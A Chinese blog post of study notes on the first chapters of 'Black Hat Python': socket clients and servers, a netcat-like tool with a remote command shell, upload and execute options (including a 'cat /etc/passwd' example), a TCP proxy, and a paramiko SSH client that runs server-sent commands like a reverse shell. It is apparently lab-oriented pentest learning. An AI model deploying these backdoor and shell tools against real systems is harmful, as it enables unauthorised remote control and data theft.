首页 > 技术文章 > 《Python黑帽子》学习笔记

zhangyuxiang666 2019-06-12 17:58 原文

本篇文章是学习《Python黑帽子:黑客与渗透测试编程之道》的笔记,同时希望各位可以给给建议,不足之处太多了。

参考博客:
LyShark的渗透测试博客: https://www.cnblogs.com/LyShark/category/1339134.html
前六章代码: https://blog.csdn.net/Kevinhanser/article/details/80140427
Mi1k7ea的博客: https://blog.csdn.net/SKI_12/article/details/71152826?locationNum=11&fps=1
giantbranch的博客:https://blog.csdn.net/u012763794/article/details/50612756#t9

第一章——设置Python环境:

  • 安装Kali Linux。

  • 确认是否安装了正确的Python版本:确认是2.7版本的即可。

  • 接着安装Python软件包管理工具easy_install和pip方便后续的工作

  • 接着是安装WingIDE,由于个人使用习惯了使用pycharm就不再进行安装了,分享一个pycharm的个人喜欢的设置文件。安装pycharm后对

    确认这个地方的python的路径和导入的包正确。点击旁边的加号,并且在 manage repositories中修改 pip 的源为豆瓣的源:

http://pypi.douban.com/simple

第二章——网络基础:

创建一个TCP客户端 (tcp_client.py) :

示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名,SOCK_STREAM参数表示是一个TCP客户端。访问的URL是百度。

#coding=utf-8
import socket
 
target_host = "www.baidu.com"
target_port = 80
 
#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
#连接客户端
client.connect((target_host,target_port))
 
#发送一些数据
client.send("GET / HTTP/1.1\r\nHost: baidu.com\r\n\r\n")
 
#接收一些数据
response = client.recv(4096)
 
print response

运行结果:

python tcp_client.py

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 14615
Content-Type: text/html
Date: Wed, 12 Jun 2019 09:25:45 GMT
Etag: "5cf609dc-3917"
Last-Modified: Tue, 04 Jun 2019 06:04:12 GMT
P3p: CP=" OTI DSP COR IVA OUR IND COM "
Pragma: no-cache
Server: BWS/1.1
Set-Cookie: BAIDUID=CE616E9A2463384E26DC4FC11EA73E75:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: BIDUPSID=CE616E9A2463384E26DC4FC11EA73E75; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Set-Cookie: PSTM=1560331545; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com
Vary: Accept-Encoding
X-Ua-Compatible: IE=Edge,chrome=1

<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
	<meta http-equiv="content-type" content="text/html;charset=utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=Edge">
	<link rel="dns-prefetch" href="//b1.bdstatic.com"/>
	<title>百度一下,你就知道</title>
	<link href=....nmousedown="return c

进程已结束,退出代码0

创建一个 UDP 客户端(udp_client.py)

# coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 80

# 建立一个 socket 对象
# AF_INET 参数说明我们将使用标准的 IPv4地址或者主机名
# SOCK_STREAM 说明这将是一个 UDP 客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# 发送一些数据
client.sendto("This is test message!", (target_host, target_port))

# 接收一些数据
data, addr = client.recvfrom(4096)

print data

在 kali 本机 打开监听 80 端口

root@kali:~# nc -nvulp 80

运行客户端,发送数据

root@kali:~# python udp_client.py

运行结果:

root@kali:~# nc -nvulp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50536
This is test message!

TCP服务端+客户端交互:

TCP服务端的代码如下:
这里需要先调用bind()函数绑定IP和端口,然后通过调用listen()函数启动监听并将最大连接数设为5。

#!/usr/bin/python
#coding=utf-8
import socket
import threading
 
bind_ip = "0.0.0.0"
bind_port = 1234
 
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 
server.bind((bind_ip,bind_port))
 
server.listen(5)
 
print '[*] Listening on %s:%d'%(bind_ip,bind_port)
 
#客户处理线程
def handle_client(client_socket):
	
	#打印客户端发送得到的消息
	request = client_socket.recv(1024)
 
	print "[*] Received: %s"%request
	
	#返回一个数据包
	client_socket.send("ACK!")
 
	client_socket.close()
 
while True:
	
	client, addr = server.accept()
 
	print "[*] Accepted connection from: %s:%d"%(addr[0],addr[1])
	
	#挂起客户端线程,处理传入数据
	client_handler = threading.Thread(target=handle_client,args=(client,))
	client_handler.start()

运行此 TCP 服务器端程序:

python tcp_server.py 
[*] Listening on 0.0.0.0:1234

修改之前的TCP客户端的代码,注意对应端口位置应该正确

修改前面的 TCP 客户端程序:

# coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 1234

# 建立一个 socket 对象
# AF_INET 参数说明我们将使用标准的 IPv4地址或者主机名
# SOCK_STREAM 说明这将是一个 TCP 客户端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

# 发送一些数据
client.send("This is test message!")

# 接收一些数据
response = client.recv(4096)

print response

运行修改过的 TCP 客户端源程序

python tcp_client.py 
ACK!

之后我们查看之前TCP 服务器端运行结果

python server.py 
[*] Listening on 0.0.0.0:1234
[*] Accepted connection from: 127.0.0.1:40084
[*] Received: This is test message!

UDP服务端+客户端交互:

UDP服务端的代码如下:

UDP服务端+客户端交互:

UDP服务端的代码如下(udp_services.py):

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 60010))
print("UDP bound on port 6000...")

while True:
    data, addr = s.recvfrom(1024)
    print("Receive from %s:%s" % addr)
    if data == b"exit":
        s.sendto(b"Good bye!\n", addr)
        exit(0)
    s.sendto(b"Hello  client! \nReceive:\n%s\nFrom:" % data, addr)

运行服务端:

python udp_services.py
UDP bound on port 6000...

UDP客户端代码如下(udp_client.py):
注意端口对应

#coding=utf-8
import socket

target_host = "127.0.0.1"
target_port = 60010

#建立一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

#发送一些数据
client.sendto("This is an UDP client",(target_host,target_port))

#接收一些数据
data,addr = client.recvfrom(4096)

print data
print addr

#关闭服务器
client.sendto("exit",(target_host,target_port))

运行客户端

python udp_client.py
Hello  client! 
Receive:
This is an UDP client
From:
('127.0.0.1', 60010)

之后我们查看之前TCP 服务器端运行结果

python udp_services.py
UDP bound on port 6000...
Receive from 127.0.0.1:60934
Receive from 127.0.0.1:60934
进程已结束,退出代码0

取代netcat(bhnet.py):

这里对程序说明一下:

usage()函数用于参数的说明帮助、当用户输入错误的参数时会输出相应的提示;

client_sender()函数用于与目标主机建立连接并交互数据直到没有更多的数据发送回来,然后等待用户下一步的输入并继续发送和接收数据,直到用户结束脚本运行;

server_loop()函数用于建立监听端口并实现多线程处理新的客户端;

run_command()函数用于执行命令,其中subprocess库提供多种与客户端程序交互的方法;

client_handler()函数用于实现文件上传、命令执行和与shell相关的功能,其中wb标识确保是以二进制的格式写入文件、从而确保上传和写入的二进制文件能够成功执行;

主函数main()中是先读取所有的命令行选项从而设置相应的变量,然后从标准输入中读取数据并通过网络发送数据,若需要交互式地发送数据需要发送CTRL-D以避免从标准输入中读取数据,若检测到listen参数为True则调用server_loop()函数准备处理下一步命令。

rstrip() 删除 string 字符串末尾的指定字符(默认为空格)。

subprocess.check_output():父进程等待子进程完成,返回子进程向标准输出的输出结果。

getopt模块是专门处理命令行参数的。

如果你不想每次都打python才能运行,就在第一行加入#!/usr/bin/python(如果python默认安装在那个目录的话)

#!/usr/bin/python
#-*- coding:utf8 -*-
import sys
import socket
import getopt
import threading
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def run_command(command):

    # 删除字符串末尾的空格
    command = command.rstrip()
    # 运行命令并将输出放回
    try:
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"
    # 将输出发送
    return output


def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检查上传文件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        while True:
            data = client_socket.recv(1024)

            if not data:
                break
            else:
                file_buffer += data

        try:
            file_descriptor = open(upload_destination, "wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)

    # 检查命令执行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)


    # 如果需要一个命令行shell,那么我们进入另一个循环
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send("<BHP:#>")

            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            #  返回命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

def server_loop():
    global target

    # 如果没有定义目标,那我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target, port))

    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()

def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        # 连接到目标主机
        client.connect((target, port))

        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print  response

            # 等待更多的输入
            buffer = raw_input("")
            buffer += "\n"

            # 发送出去
            client.send(buffer)

    except:
        print "[*] Exception! Exiting."

    #关闭连接
    client.close()

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host - p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run -execute the given file upon receiving a connection"
    print "-c --command             - initialize a commandshell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples:"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not  len(sys.argv[1:]):
        usage()


    # 读取命令行选项,若没有该选项则显示用法
    try:
        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()


    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l", "--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"

    #我们是进行监听还是仅从标准输入读取数据并发送数据?
    if not listen and len(target) and port > 0:

        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        server_loop()

#调用main函数
main()

返回shell效果
首先以服务器形式运行bhpnet:

python bhpnet.py -l -p 8888 -c 

之后打开另一个终端,以客户端运行bhpnet:

python bhpnet.py -t localhost -p 8888
(按下ctrl-D之后返回一个shell,windows下需要ctrl-Z)
<BHP:#>
whoami
xiangge

将bhpnet.py作为客户端,连接百度

echo -nc "GET / HTTP/1.1\r\nHost:www.baidu.com\r\n\r\n" | ./bhpnet.py -t www.baidu.com -p 80

上传文件:
服务端:

python bhpnet.py -t localhost -p 9999 -u newtext.txt -l 

客户端发送文件内容:

echo “hi” | python bhpnet.py -t 127.0.0.1 -p 9999

之后需要在客户端这边ctrl-C,之后再服务端也要ctrl-C,在一堆报错中,得到了刚刚建立的文件

这里的文件上传并不是真正意义上的文件上传,参考了一下这个博客https://blog.csdn.net/he_and/article/details/80308299 ,修改一下代码实现真正意义的文件上传:

创建一个TCP代理:

#coding=utf-8
    import socket  
    import sys  
    import threading  
      
    def server_loop(local_host,local_port,remote_host,remote_port,receive_first):  
          
        server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
      
        try:  
            server.bind((local_host,local_port))  
        except:  
            print "[!!] Failed to listen on %s:%d"%(local_host,local_port)  
            print "[!!] Check for other listening sockets or correct permissions. "  
            sys.exit(0)  
      
        print "[*] Listening on %s:%d"%(local_host,local_port)  
      
        server.listen(5)  
      
        while True:  
            client_socket, addr = server.accept()  
      
            #  打印出本地连接信息
            print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])  
      
            #  开启一个线程与远程主机通信
            proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))  
      
            proxy_thread.start()  
      
    def proxy_handler(client_socket,remote_host,remote_port,receive_first):  
          
        #  连接远程主机
        remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
        remote_socket.connect((remote_host,remote_port))  
      
        #  如果必要从远程主机接收数据
        if receive_first:  
      
            remote_buffer = receive_from(remote_socket)  
            hexdump(remote_buffer)  
      
            #  发送给我们的响应数据
            remote_buffer = response_handler(remote_buffer)  
      
            #  如果我们有数据传递给本地客户端,发送它
            if len(remote_buffer):  
                print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)  
                client_socket.send(remote_buffer)  
      
        #  现在我们从本地循环读取数据,发送给远程主机和本地主机
        while True:  
              
            #  从本地读取主机
            local_buffer = receive_from(client_socket)  
      
            if len(local_buffer):  
                  
                print "[==>] Received %d bytes from localhost. "%len(local_buffer)  
                hexdump(local_buffer)  
      
                #  发送给我们的本地请求
                local_buffer = request_handler(local_buffer)  
      
                #  向远程主机发送数据
                remote_socket.send(local_buffer)  
                print "[==>] Sent to remote ."  
      
            #  接受响应的数据
            remote_buffer = receive_from(remote_socket)  
      
            if len(remote_buffer):  
                  
                print "[<==] Received %d bytes from remote . "%len(remote_buffer)  
                hexdump(remote_buffer)  
      
                #  发送到响应处理函数
                remote_buffer = response_handler(remote_buffer)  
      
                #  将响应发送给本地socket
                client_socket.send(remote_buffer)  
      
                print "[<==] Sent to localhost. "  
      
            #  如果两边都没有数据,关闭连接
            if not len(local_buffer) or not len(remote_buffer):  
                client_socket.close()  
                remote_socket.close()  
                print "[*] No more data. Closing cnnections. "  
      
                break  
      
    #  十六进制导出函数
    def hexdump(src,length=16):  
        result = []  
        digits = 4 if isinstance(src,unicode) else 2  
      
        for i in xrange(0,len(src),length):  
            s = src[i:i+length]  
            hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])  
            text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])  
            result.append( b"%04X  %-*s  %s" % (i,length*(digits + 1),hexa,text))  
      
        print b'\n'.join(result)  
      
    def receive_from(connection):  
          
        buffer = ""  
      
        #  我们设置了两秒的超时,这取决于目标的情况,可能需要调整
        connection.settimeout(2)  
      
        try:  
            #  持续从缓存中读取数据直到没有数据或超时
            while True:  
                data = connection.recv(4096)  
                if not data:  
                    break  
                buffer += data  
        except:  
            pass  
      
        return buffer  
      
    #  对目标是远程主机的请求进行修改
    def request_handler(buffer):  
        #  执行包修改
        return buffer  
      
    #  对目标是本地主机的响应进行修改
    def response_handler(buffer):  
        #  执行包修改
        return buffer  
      
    def main():  
          
        #  没有华丽的命令行解析
        if len(sys.argv[1:]) != 5:  
            print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "  
            print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"  
            sys.exit(0)  
      
        #  设置本地监听参数
        local_host = sys.argv[1]  
        local_port = int(sys.argv[2])  
      
        #  设置远程目标
        remote_host = sys.argv[3]  
        remote_port = int(sys.argv[4])  
      
        #  告诉代理在发送给远程主机之前连接和接收数据
        receive_first = sys.argv[5]  
      
        if "True" in receive_first:  
            receive_first = True  
        else:  
            receive_first = False  
      
        #  现在设置好我们的监听socket
        server_loop(local_host,local_port,remote_host,remote_port,receive_first)  
      
    main()

这里对每个函数说明一下:

proxy_handler()函数包含了代理的主要逻辑,先检查并确保在启动主循环之前不向建立连接的远程主机主动发送数据,启动循环之后接收本地和远程主机的数据然后再调用相应的函数进行处理之后再转发出去;
hexdump()函数仅输出数据包的十六进制值和可打印的ASCII码字符,对于了解未知的协议很有帮助,还能找到使用明文协议的认证信息等;
receive_from()函数用于接收本地和远程主机的数据,使用socket对象作为参数;
request_handler()和response_handler()函数允许用来修改代理双向的数据流量;
server_loop()函数用于循环以监听并连接请求,当有新的请求到达时会提交给proxy_handler()函数处理,接收每一个比特的数据,然后发送到目标远程主机;
main主函数先读入命令行参数,然后调用服务端的server_loop()函数。
结果可以看到,其实和Wireshark等抓包工具的效果是差不多的。

运行结果:

python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080

之后在浏览器设置代理 8080 端口,火狐使用 autoproxy 插件,设置代理端口 8080,访问百度网页

后面端口填写8080
运行结果:

python tcp_proxy.py 127.0.0.1 8080 www.baidu.com 80 True
[*] Listening on 127.0.0.1:8080
[==>] Received incoming connectiong from 127.0.0.1:41162
[==>] Received incoming connectiong from 127.0.0.1:41166

[==>] Received 199 bytes from localhost
0000    43 4F 4E 4E 45 43 54 20 77 77 77 2E 62 61 69 64     CONNECT www.baid
0010    75 2E 63 6F 6D 3A 34 34 33 20 48 54 54 50 2F 31     u.com:443 HTTP/1
0020    2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20     .1..User-Agent: 
0030    4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 58 31 31     Mozilla/5.0 (X11
0040    3B 20 4C 69 6E 75 78 20 78 38 36 5F 36 34 3B 20     ; Linux x86_64; 
0050    72 76 3A 35 32 2E 30 29 20 47 65 63 6B 6F 2F 32     rv:52.0) Gecko/2
0060    30 31 30 30 31 30 31 20 46 69 72 65 66 6F 78 2F     0100101 Firefox/
0070    35 32 2E 30 0D 0A 50 72 6F 78 79 2D 43 6F 6E 6E     52.0..Proxy-Conn
0080    65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D 61 6C 69     ection: keep-ali
0090    76 65 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20     ve..Connection: 
00A0    6B 65 65 70 2D 61 6C 69 76 65 0D 0A 48 6F 73 74     keep-alive..Host
00B0    3A 20 77 77 77 2E 62 61 69 64 75 2E 63 6F 6D 3A     : www.baidu.com:
00C0    34 34 33 0D 0A 0D 0A                                443....
[==>] Sent to remote.
[*] No more data. Closing connections.
[==>] Received incoming connectiong from 127.0.0.1:41170

[==>] Received 199 bytes from localhost

通过 paramiko 使用 SSH

参考Python黑帽子——通过Paramiko使用SSH: https://blog.csdn.net/u010726042/article/details/73565068

安装 paramiko

pip install paramiko

paramiko 示例文件

https://github.com/paramiko/paramiko/tree/master/demos

建立ssh通道(ssh_command.py)

#coding=utf-8
import threading
import paramiko
import subprocess
# paramiko 支持用密钥认证来代理密码验证,推荐密钥认证

def ssh_command(ip, user, passwd, command):
	client = paramiko.SSHClient()
	
	#支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
	#client.load_host_key('/root/.ssh/known_hosts')
	
	#设置自动添加和保存目标ssh服务器的ssh密钥
	client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	
	# 连接
	client.connect(ip, username=user, password=passwd)
	
	#打开会话
	ssh_session = client.get_transport().open_session()
	if ssh_session.active:
		#执行命令
		ssh_session.exec_command(command)
		#返回命令执行结果(1024个字符)
		print ssh_session.recv(1024)
		
	return
	
#调用函数,以用户root及其密码连接并执行命令
ssh_command('127.0.0.1', 'root', 'toor', 'id')

执行程序结果

root@kali:~# python ssh_command.py 
uid=0(root) gid=0(root) 组=0(root)

建立可以持续发送命令的ssh客户端和ssh服务器

使用 paramiko 示例文件中包含的 SSH 密钥,开启一个套接字监听,之后使用 SSH 管道,并配置认证模式。当一个客户端认证成功,并发回 ClientConnected 消息,我们输入到 ssh_server 的任何命令将发送给 ssh_client 并在 ssh_client 上执行,输出的结果将返回给 ssh_server。

paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos

获取密钥文件

使用

ssh-keygen -t rsa

命令创建密钥文件

/root/.ssh/id_rsa

创建空密钥即可。
或者 paramiko 的示例文件,直接使用 test_rsa.key,没有key文件会出错
创建ssh 客户端程序(ssh_client.py)

#coding=utf-8
import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command, port):
    client = paramiko.SSHClient()
	#支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
    # client.load_host_keys('/home/root/.ssh/known_hosts') 
	#设置自动添加和保存目标ssh服务器的ssh密钥
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
	#连接
    client.connect(ip, port, username=user, password=passwd)  
	#打开会话
    ssh_session = client.get_transport().open_session() 
    if ssh_session.active:
		#发送command这个字符串,并不是执行命令
        ssh_session.send(command)   
		#返回命令执行结果(1024个字符)
        print ssh_session.recv(1024)    
        while True:
			#从ssh服务器获取命令
            command = ssh_session.recv(1024)    
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('127.0.0.1', 'root', 'toor', 'This is test message!!!!!',8088)


创建 ssh 服务器端程序(ssh_server.py)

#coding=utf-8
import socket
import paramiko
import threading
import sys

if len(sys.argv[1:]) != 2:
    print "Usage: ./ssh_server.py [localhost] [localport] "
    print "Example: ./ssh_server.py 127.0.0.1 8080"
    sys.exit(0)	

# 使用 Paramiko示例文件的密钥
#host_key = paramiko.RSAKey(filename='test_rsa.key')
# 或者自己创建一个密钥文件
host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
			 return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'root') and (password == 'toor'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
	#TCP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    
    #这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	#绑定ip和端口
    sock.bind((server, ssh_port))   
	#最大连接数为100
    sock.listen(100)    
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed'
	#设置超时值为20
    chan = bhSession.accept(20) 
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send("Welcome to bh_ssh")
    while True:
        try:
			#strip移除字符串头尾指定的字符(默认为空格),这里是换行
            command = raw_input("Enter command:").strip("\n")   
            if command != 'exit':
                chan.send(command)
                print chan.recv(1024) + '\n'
            else:
                chan.send('exit')
                print 'exiting'
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

运行 ssh 服务器端程序

python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...

运行 ssh 客户端程序

python ssh_client.py 
Welcome to bh_ssh

查看 ssh 服务器端结果

python ssh_server.py 127.0.0.1 8088
[+] Listening for connection ...
[+] Got a connection!
[+] Authenticated!
This is test message!!!!!
Enter command:ls
Desktop
Documents
Downloads
Music
Pictures

SSH 隧道

关于 SSH 隧道的技术详解

http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html

paramiko 示例2文件

paramiko 示例文件: https://github.com/paramiko/paramiko/tree/master/demos

** SSH 隧道目标**

我们希望在 SSH 客户端输入命令,然后在远程的 SSH 服务器上运行。当使用 SSH 隧道时,与传统的将命令直接发送给服务器端不同,网络流量包在 SSH 中封装后发送,并且在到达 SSH 服务器之后解开并执行。

假设一个环境:你可以访问一台在内网的 SSH 服务器,同事还想访问在同一个网段的 WEB服务器。你不能直接访问 WEB 服务器,但是 ssh 服务器可以访问 web 服务器,而且这个 ssh 服务器上没有安装可以使用的工具。

解决这个问题的方法之一是创建一个转发的 SSH 隧道。

使用

ssh -L 8008:web:80 root@sshserver 

命令将以 root 用户的身份连接到 ssh 服务器,同时将在本地系统上监听 8008 端口建立转发。任何发送到本机 8008 端口上的数据都被通过已有的 SSH 隧道转发到 web 服务器上。

创建一个程序(rforward.py)

#!/usr/bin/env python
#coding=utf-8
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return
    
    verbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,
                                                        chan.getpeername(), (host, port)))
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
	# 用 paramiko 的 request_port_forward 函数将 ssh 服务端一个端口的 tcp 连接转发出去
    transport.request_port_forward('', server_port)
    while True:
		# 同时建立一个系的传输通道
        chan = transport.accept(1000)
        if chan is None:
            continue
		# 在通道里,我们调用 handler 函数进行处理
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(':', 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose
    
    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')
    
    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()
    
    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')
    
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
    try:
        client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys, password=password)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
        sys.exit(1)

    verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))

    try:
        reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)


if __name__ == '__main__':
    main()

运行程序

 ./rforward.py -h
 
Usage: rforward.py [options] <ssh-server>[:<server-port>]

./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password

Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...
Now forwarding remote port 8080 to 10.10.10.129:80 ...

查看监听端口

root@kali:~# netstat -tulnp | grep 8080
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      4708/sshd: root

使用代理访问目标站点

浏览器使用 autoproxy 设置代理 8080 端口,访问 10.10.10.129:80

查看运行结果

